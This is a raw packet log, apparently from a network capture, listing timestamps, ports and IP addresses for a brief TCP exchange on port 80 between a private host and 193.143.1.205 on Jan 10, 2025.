Jan 10, 2025 22:23:44.244869947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244874954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.245016098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.245620012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245637894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245652914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245666981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245676041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245682955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245692015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245698929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245713949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245732069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245748997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245749950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.245750904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.245769024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.245780945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.245825052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.246397018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.249083042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.253737926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298341990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298367977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298386097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298402071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298417091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298433065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298434973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298434973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298451900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298516035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298516035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298600912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298618078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298634052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298670053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.298727989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298742056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.298785925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.332595110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.332616091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.332632065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.332695007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.332709074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.332959890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.332986116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333002090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333025932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333039999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333041906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333059072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333072901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333093882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333108902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333108902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333115101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333131075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333146095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333147049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333168983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333174944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333184004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333260059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.333568096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333581924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.333659887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.366668940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366703987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366733074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366750956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366767883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366784096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366800070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366817951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.366916895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.366916895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.366993904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367028952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367043972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367043972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367109060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367139101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367153883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367198944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367198944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367350101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367377996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367394924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367412090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367429018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367444992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367444992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367486000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367497921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.367801905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367922068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367945910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367964029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367980003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.367996931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368011951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368016958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368016958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368031025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368041992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368046999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368063927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368081093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368098974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368129015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368129015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368156910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368889093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368906021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368922949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368938923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368954897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368971109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368988037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.368997097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.368997097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369005919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369024038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369040966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369057894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369066954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369066954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369077921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369122028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369174004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369631052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369770050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369786978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369805098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369821072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369827032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369838953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369854927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369873047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369889975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369905949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369921923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369935036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369935036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.369941950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.369956970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370018005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370735884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370760918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370776892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370793104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370810986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370826960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370841980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370843887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370843887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370860100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370877028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370877028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370893002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370910883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370929956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.370938063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370938063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.370990992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371609926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371628046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371644974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371670961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371741056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371759892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371777058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371789932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371793985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371812105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371828079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371845961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371853113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371853113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371862888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371880054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.371898890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.371953964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.372587919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372606993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372622967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372637987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372656107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372670889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.372672081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372689962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372708082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372718096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.372718096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.372730017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372747898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.372775078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.372803926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.389729023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389748096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389775038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389790058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389806986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389822960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.389992952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.389992952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.390064001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.390091896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.390145063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.417084932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424096107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424112082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424122095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424158096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424174070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424181938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424190044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424235106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424235106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424436092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424452066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424472094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424488068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424506903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424535990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424639940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424679995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424695969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424714088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.424738884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424792051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.424998999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425017118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425041914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425059080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425076008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.425076008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425095081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425112009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425127983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425144911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.425144911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.425144911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.425173998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.459979057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460067987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460083961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460098982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460107088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460124016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460141897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460155010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460294008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460318089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460325003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460325003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460335970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460351944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460370064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460508108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460508108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460607052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460634947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460668087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460808992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460827112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460844040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460863113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.460889101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.460889101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461095095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461112022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461127996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461142063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461152077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461169004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461179018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461194992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461213112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461229086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461246967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461261034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461266041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.461292982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461292982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.461987019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462002993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462021112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462035894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462052107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462068081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462068081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462068081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462085009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462100983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462116957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462121010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462132931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462140083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462150097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462166071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462169886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462238073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462769985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462837934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.462934017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462959051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.462975979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463000059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463006020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463018894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463037014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463052988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463068962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463085890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463088036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463088036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463103056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463121891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463121891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463171005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463829994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463846922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463862896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463877916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463886976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463903904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463920116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463929892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463937044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463954926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463972092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.463979959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463979959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.463989019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464005947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464020967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.464024067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464095116 CET	49706	80	192.168.2.8	193.143.1.205
